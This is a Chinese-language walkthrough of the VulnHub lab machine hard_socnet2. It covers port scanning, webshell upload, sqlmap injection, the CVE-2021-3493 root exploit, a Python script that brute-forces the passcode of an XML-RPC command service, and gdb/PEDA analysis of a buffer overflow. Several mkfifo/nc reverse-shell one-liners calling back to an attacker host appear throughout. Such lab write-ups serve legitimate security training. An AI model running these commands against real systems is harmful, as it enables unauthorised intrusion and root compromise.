VulnHub靶機 | hard-socnet2 |
本靶機難度為高難度,涉及到了緩沖區溢出的源碼審計 ,逆向分析,動態調試等漏洞技能點, 攻擊方法有2種: CVE-2021-3493 另類提權方式。 |
項目地址:https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova
主機發現:
arp-scan -l

nmap -p- -sS 192.168.0.102

nmap -p22,80,8000 -sV -sS 192.168.0.102

目標滲透:
訪問800端口

顯示的是不支持 GET 請求,那就去抓包重發嘗試:OPTIONS,POST,PUT,DELETE,返回的都是 500 報錯。沒有思路了

訪問80端口一個登錄框。登錄需要正確的電子郵箱,顯然爆破很難,但是提供了注冊,那么就注冊.


方法一:文件上傳

直接上傳一句話木馬文件,使用蟻劍進行連接。

方法二:SQL 注入

可能存在 sql 注入,嘗試使用 sqlmap 工具爆破。(mysql 數據庫)
sqlmap -r sql -p query 將返回包內容復制到 sql 文件中,測試是否存在 SQL 注入sqlmap -r sql -p query --dbs 查詢數據庫sqlmap -r sql -p query -D socialnetwork --tables 查詢表名sqlmap -r sql -p query -D socialnetwork -T users --columns 查詢列和字段





拿密碼去登錄:登陸上但是沒有任何用。SQL 注入得到的密碼可以保留。可能用得到。
權限提升:

GitHub 下載地址: https://github.com/briskets/CVE-2021-3493上傳 exploit.c 文件,但是蟻劍連接的控制臺權限不夠 gcc exploit -e expchmod +x exp./exp

第一種:nc 反彈 shell 連接,還是沒有-e 參數,使用 nc 串聯進行連接

另一種:mkfifo 反彈 shell 連接
這段命令的意思是:利用操作系統的命令--mkfio,實現先進先出的堆棧的效果。rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.103 5555 >/tmp/f
提權成功:獲取 root

python -c "import pty;pty.spawn('/bin/bash')" 交互效果更好(升級 shell)

另一種提權
cat /etc/passwdcd /homecd socnetls -l 發現 monitor.py 和網站內容提到的一致,具有監視服務器的作用

這里的文件有個 peda 它是動態調試,可能存在溢出漏洞,比如說:緩沖區溢出,堆溢出,是 GDB 的一種插件,作用有:增強 gdb 的顯示:在調試過程中著色并顯示反匯編代碼,寄存器和內存信息。增強 GDB 調試能力

代碼審計 monitor.py 文件
XMLRPC 方法
#my remote server management APIimport SimpleXMLRPCServer --引入的服務import subprocessimport random --隨機數debugging_pass = random.randint(1000,9999) --隨機生成 1000-9999def runcmd(cmd): results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) output = results.stdout.read() + results.stderr.read() return outputdef cpu(): return runcmd("cat /proc/cpuinfo")def mem(): return runcmd("free -m")def disk(): return runcmd("df -h")def net(): return runcmd("ip a")**def secure_cmd(cmd,passcode): -- 定義 secure_cmd 函數,調用了 cmd 和 passcode if passcode==debugging_pass: --注意這里,是否等于之前那個 1000-9999 隨機數 return runcmd(cmd) else: return "Wrong passcode."****server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000)) 導致之前對目標靶機 web 訪問請求方式的失敗原因,只接受 xml_rpc 方式。**server.register_function(cpu)server.register_function(mem)server.register_function(disk)server.register_function(net)server.register_function(secure_cmd)server.serve_forever()
xmlrpc --- XMLRPC 服務端與客戶端模塊
介紹:https://docs.python.org/zh-cn/3/library/xmlrpc.html
XML-RPC 是一種遠程過程調用方法,它使用通過 HTTP 傳遞的 XML 作為載體。有了它,客戶端可以在遠程服務器上調用帶參數的方法(服務器以 URI 命名)并獲取結構化的數據。xmlrpc 是一個集合了 XML-RPC 服務端與客戶端實現模塊的包。 這些模塊是:
https://docs.python.org/zh-cn/3/library/xmlrpc.server.html#module-xmlrpc.server
編寫客戶端腳本
import xmlrpc.clientwith xmlrpc.client.ServerProxy("http://192.168.0.102:8000/") as proxy: print(str(proxy.cpu()))

根據 monitor.py 文件中,secure_cmd 函數需要當 passcode==debugging_pass 等于隨機數時,才會執行我們自定的命令,所有進行編碼爆破。if passcode==debugging_pass: return runcmd(cmd)
對 passcode 進行爆破
import xmlrpc.clientwith xmlrpc.client.ServerProxy("http://192.168.0.102:8000/") as proxy: for i in range(1000,10000): r=str(proxy.secure_cmd('whoami',i)) if not "Wrong" in r : print(i) print(r) break;

反彈 shell 連接
import xmlrpc.clientwith xmlrpc.client.ServerProxy("http://192.168.0.102:8000/") as proxy: cmd="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.103 5555 >/tmp/f" r=str(proxy.secure_cmd(cmd,5598)) print(r)
連接成功

緩存區溢出漏洞利用
add_record 文件分析web 漏洞原理:都是通過輸入數據等,從而使服務器程序在處理的時候出現異常情況。那么對 add_record 程序的漏洞發現利用。看看文件類型:ELF 文件格式可以理解成類似 windows 下 PE 的文件格式

執行此文件可以臨時成 root 權限,當此文件存在漏洞時,就可以利用獲取 root 權限

PEDA 用法總結
一個強大的 GDB 插件
PEDA 是為 GDB 設計的一個強大的插件,全稱是 Python Exploit Development Assistance for GDB。它提供了很多人性化的功能,比如高亮顯示反匯編代碼、寄存器、內存信息,提高了 debug 的效率。同時,PEDA 還為 GDB 添加了一些實用新的命令,比如 checksec 可以查看程序開啟了哪些安全機制等等,后續會介紹。https://www.csdndocs.com/article/9043624#:~:text=PEDA%E6%98%AF%E4%B8%BAGDB%E8%AE%BE%E8%AE%A1%E7%9A%84%E4%B8%80%E4%B8%AA%E5%BC%BA%E5%A4%A7%E7%9A%84%E6%8F%92%E4%BB%B6%EF%BC%8C%E5%85%A8%E7%A7%B0%E6%98%AFPython%20Exploit%20Development,Assistance%20for%20GDB%E3%80%82
gdb 命令
gdb -q -q 安靜的模式gdb 是程序的動態調試工具,可以跟蹤和監視在這個程序運行過程中所有的寄存器,堆棧,內存的使用情況每一次的函數調用,內存數據的變化,都會詳細的跟蹤和判斷,根據跟蹤就會知道哪一次數據提交造成內存數據的溢出gdb -q ./add_record peda 是基于 gdb 關于 python 的腳本,輸入 r 運行
**這里的測試方法:**主要是對每一項輸入大量的字母,AAAAAAAA,監視內存的變化。
測試思路:大量數據測試緩沖區溢出的漏洞
就這樣嘗試,發現在備注的地方出現了溢出問題。之后的思路:找到出現溢出的位置,
在該位置處輸入自己的 payload,反彈 shell,獲得權限。

pattern create 100AAA%AAsAABAA$AAnAACAAAA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2A**AHAA**dAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL找到了之后看著很麻煩,使用 gdb 的功能pattern search #看到了是 62 以后的溢出

根據程序運行的各類邏輯提示,這里需要利用“下斷點”的方式去了解程序的內部運作,說的直接一些,斷點的意思就是程序到這個點的時候停止,不需要下一步運行。fopen@plt(被調用的一個系統函數)是猜測是打開文本文件的意思put,其作用是輸出,配合 Printf 內建函數進行打印輸出。fopen@plt 應該是打開文件把東西保存進去printf@plt 把文件寫入那就使用斷點功能判斷一下功能都是什么**斷點調試:選中前面的內存地址,賦值break * 內存地址runs 單步向前只進行對一個 cpu 的指令**然后 del 1 刪除這個斷點信息。再重復嘗試
執行 info func:查看程序的內建函數,存在 system 和 setuid,vuln,backdoor執行 disas vuln:具體查看函數,發現了 strcpy 函數,這里可能存在漏洞。直接搜索。最后,利用 payload 來觸發漏洞,返回 root 權限
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.103 5555 >/tmp/f
成功獲取 root 權限。